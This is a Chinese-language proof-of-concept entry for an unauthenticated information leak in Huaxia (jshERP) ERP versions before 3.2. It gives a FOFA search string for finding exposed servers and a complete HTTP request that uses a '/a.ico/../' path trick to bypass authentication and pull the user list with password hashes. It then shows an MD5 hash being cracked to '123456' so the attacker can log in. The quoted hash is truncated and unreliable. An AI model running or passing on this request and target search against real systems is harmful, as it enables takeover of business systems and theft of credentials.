H7-2华夏-ERP-ImformationLeakage

漏洞描述：

华夏ERP 3.1版本中存在一个问题，被评定为有问题的。该问题影响了文件/user/getAllList的某些未知处理过程。未经身份验证的攻击者可以利用此问题获取后台用户名密码列表。可导致后台被控，漏洞已被公开披露，可能被利用。

影响版本：

华夏ERP < 3.2

网站图片：

网络测绘：

fofa语法：

FOFA："jshERP-boot"

漏洞复现：

payload：

```
GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```

效果图:

密码md5解码即可登录

输入让你无语的MD5

e10adc3949ba59abbe56e0

解密

md5
123456